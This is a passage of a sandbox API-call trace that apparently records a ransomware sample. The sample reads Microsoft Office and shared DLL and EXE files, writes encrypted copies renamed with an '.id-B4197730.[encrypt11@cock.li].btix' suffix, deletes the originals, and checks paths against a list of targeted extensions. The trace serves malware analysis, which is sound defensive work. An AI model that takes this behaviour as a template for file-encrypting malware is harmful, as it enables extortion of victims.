"c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0059.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0059.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0059.668] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.668] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0059.668] GetLastError () returned 0x0 [0059.668] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x48c0, lpOverlapped=0x0) returned 1 [0059.669] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x48d0, lpOverlapped=0x0) returned 1 [0059.671] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0059.671] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x104, lpOverlapped=0x0) returned 1 [0059.671] SetEndOfFile (hFile=0x2e0) returned 1 [0059.671] CloseHandle (hObject=0x2e0) returned 1 [0059.672] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.672] SetEndOfFile (hFile=0x3a4) returned 1 [0059.673] CloseHandle (hObject=0x3a4) returned 1 [0059.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0059.673] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0059.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".doc") returned 4 [0059.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".docx") returned 5 [0059.674] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0059.674] lstrlenW (lpString=".pdf") returned 4 [0059.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".xls") returned 4 [0059.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".xlsx") returned 5 [0059.674] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0059.674] lstrlenW (lpString=".ppt") returned 4 [0059.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".zip") returned 4 [0059.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".rar") returned 4 [0059.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".bz2") returned 4 [0059.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.674] lstrlenW (lpString=".7z") returned 3 [0059.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".dbf") returned 4 [0059.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".1cd") returned 4 [0059.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".jpg") returned 4 [0059.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.674] lstrlenW (lpString=".doc") returned 4 [0059.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.674] lstrlenW (lpString=".docx") returned 5 [0059.675] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0059.675] lstrlenW (lpString=".pdf") returned 4 [0059.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.675] lstrlenW (lpString=".xls") returned 4 [0059.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.675] lstrlenW (lpString=".xlsx") returned 5 [0059.675] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0059.675] lstrlenW (lpString=".ppt") returned 4 [0059.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.675] lstrlenW (lpString=".zip") returned 4 [0059.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.675] lstrlenW (lpString=".rar") returned 4 [0059.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.675] lstrlenW (lpString=".bz2") returned 4 [0059.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.675] lstrlenW (lpString=".7z") returned 3 [0059.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.675] lstrlenW (lpString=".dbf") returned 4 [0059.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.675] lstrlenW (lpString=".1cd") returned 4 [0059.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0059.675] lstrlenW (lpString=".jpg") returned 4 [0059.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.675] lstrcmpiW (lpString1=".EXE", lpString2=".btix") returned 1 [0059.675] lstrlenW (lpString="OSE.EXE") returned 7 [0059.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0059.676] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=244296) returned 1 [0059.676] CloseHandle (hObject=0x3a4) returned 1 [0059.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0059.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0059.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0059.676] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.677] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0059.677] GetLastError () returned 0x0 [0059.677] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0059.811] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0059.815] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0059.815] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe2, lpOverlapped=0x0) returned 1 [0059.815] SetEndOfFile (hFile=0x2e0) returned 1 [0059.815] CloseHandle (hObject=0x2e0) returned 1 [0059.819] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.819] SetEndOfFile (hFile=0x3a4) returned 1 [0059.821] CloseHandle (hObject=0x3a4) returned 1 [0059.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0059.822] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0059.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.822] lstrlenW (lpString=".doc") returned 4 [0059.822] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0059.822] lstrlenW (lpString=".docx") returned 5 [0059.822] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0059.822] lstrlenW (lpString=".pdf") returned 4 [0059.822] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0059.822] lstrlenW (lpString=".xls") returned 4 [0059.822] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0059.822] lstrlenW (lpString=".xlsx") returned 5 [0059.822] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0059.822] lstrlenW (lpString=".ppt") returned 4 [0059.822] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0059.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.822] lstrlenW (lpString=".zip") returned 4 [0059.822] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0059.822] lstrlenW (lpString=".rar") returned 4 [0059.822] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0059.822] lstrlenW (lpString=".bz2") returned 4 [0059.822] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0059.823] lstrlenW (lpString=".7z") returned 3 [0059.823] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0059.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.823] lstrlenW (lpString=".dbf") returned 4 [0059.823] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0059.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.823] lstrlenW (lpString=".1cd") returned 4 [0059.823] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0059.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.823] lstrlenW (lpString=".jpg") returned 4 [0059.823] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0059.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.823] lstrlenW (lpString=".doc") returned 4 [0059.823] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0059.823] lstrlenW (lpString=".docx") returned 5 [0059.823] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0059.823] lstrlenW (lpString=".pdf") returned 4 [0059.823] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0059.823] lstrlenW (lpString=".xls") returned 4 [0059.823] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0059.823] lstrlenW (lpString=".xlsx") returned 5 [0059.823] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0059.823] lstrlenW (lpString=".ppt") returned 4 [0059.823] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0059.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.824] lstrlenW (lpString=".zip") returned 4 [0059.824] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0059.824] lstrlenW (lpString=".rar") returned 4 [0059.824] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0059.824] lstrlenW (lpString=".bz2") returned 4 [0059.824] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0059.824] lstrlenW (lpString=".7z") returned 3 [0059.824] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0059.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.824] lstrlenW (lpString=".dbf") returned 4 [0059.824] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0059.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.824] lstrlenW (lpString=".1cd") returned 4 [0059.824] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0059.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0059.824] lstrlenW (lpString=".jpg") returned 4 [0059.824] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0059.824] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0059.824] lstrlenW (lpString="msdia90.dll") returned 11 [0059.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0059.852] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=855376) returned 1 [0059.852] CloseHandle (hObject=0x394) returned 1 [0059.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0059.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0059.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0059.853] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.853] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0059.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0059.853] GetLastError () returned 0x0 [0059.853] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0059.891] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0059.910] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0059.910] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xea, lpOverlapped=0x0) returned 1 [0059.910] SetEndOfFile (hFile=0x2d8) returned 1 [0059.910] CloseHandle (hObject=0x2d8) returned 1 [0060.070] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.070] SetEndOfFile (hFile=0x394) returned 1 [0060.076] CloseHandle (hObject=0x394) returned 1 [0060.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.077] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0060.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.077] lstrlenW (lpString=".doc") returned 4 [0060.077] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString=".docx") returned 5 [0060.077] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0060.077] lstrlenW (lpString=".pdf") returned 4 [0060.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString=".xls") returned 4 [0060.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString=".xlsx") returned 5 [0060.077] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0060.077] lstrlenW (lpString=".ppt") returned 4 [0060.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.077] lstrlenW (lpString=".zip") returned 4 [0060.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString=".rar") returned 4 [0060.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.077] lstrlenW (lpString=".bz2") returned 4 [0060.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.078] lstrlenW (lpString=".7z") returned 3 [0060.078] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".dbf") returned 4 [0060.078] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".1cd") returned 4 [0060.078] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".jpg") returned 4 [0060.078] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".doc") returned 4 [0060.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString=".docx") returned 5 [0060.078] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0060.078] lstrlenW (lpString=".pdf") returned 4 [0060.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString=".xls") returned 4 [0060.078] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString=".xlsx") returned 5 [0060.078] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0060.078] lstrlenW (lpString=".ppt") returned 4 [0060.078] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".zip") returned 4 [0060.078] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString=".rar") returned 4 [0060.078] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.078] lstrlenW (lpString=".bz2") returned 4 [0060.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.078] lstrlenW (lpString=".7z") returned 3 [0060.078] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.078] lstrlenW (lpString=".dbf") returned 4 [0060.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.079] lstrlenW (lpString=".1cd") returned 4 [0060.079] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0060.079] lstrlenW (lpString=".jpg") returned 4 [0060.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.079] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0060.079] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16 [0060.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0060.079] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=20608) returned 1 [0060.079] CloseHandle (hObject=0x394) returned 1 [0060.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0060.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0060.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: 